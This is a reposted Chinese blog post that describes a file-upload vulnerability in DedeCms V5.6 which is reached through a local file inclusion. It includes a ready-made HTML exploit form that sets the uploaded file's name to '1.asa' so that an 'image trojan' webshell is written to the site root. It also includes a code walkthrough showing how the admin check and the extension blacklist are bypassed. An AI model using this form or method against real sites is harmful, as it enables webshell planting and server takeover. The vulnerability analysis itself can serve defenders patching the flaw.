DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布)

DedeCmsV5.6 本地包含 
DedeCmsV5.6 本地包含 
http://t00ls.net/thread-8608-1-1.html 


之前就发现了这本地包含的利用方法。 
<form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch"> 
<input type="hidden" name="newname" value="1.asa"> 
<input type="file" name="uploadfile"> 
<input type="submit" value="搜索" name="QuickSearchBtn"> 
</form>
上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件 


简单分析: 
文件:select_soft_post.php 
<?php 
if(!isset($cfg_basedir)) 
{ 
include_once(dirname(__FILE__).'/config.php'); 
} 
//config.php 是用于验证是否管理员。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证。 


//文件名(前为手工指定, 后者自动处理) 
if(!empty($newname)) 
{ 
$filename = $newname; 
if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); 
else $fs = explode('.', $filename); 
if(eregi($cfg_not_allowall, $fs[count($fs)-1])) 
{ 
ShowMsg("你指定的文件名被系统禁止!",'javascript:;'); 
exit(); 
} 
if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1]; 
}else{ 
$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme)); 
$fs = explode('.', $uploadfile_name); 
if(eregi($cfg_not_allowall, $fs[count($fs)-1])) 
{ 
ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;'); 
exit(); 
} 
$filename = $filename.'.'.$fs[count($fs)-1]; 
}
问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型 


//这里强制限定的某些文件类型禁止上传 
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml|zip|rar|7z|txt"; 

即可以上传非上面类型的文件,有时也并不鸡肋。。

转载于:https://my.oschina.net/mickelfeng/blog/662125

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值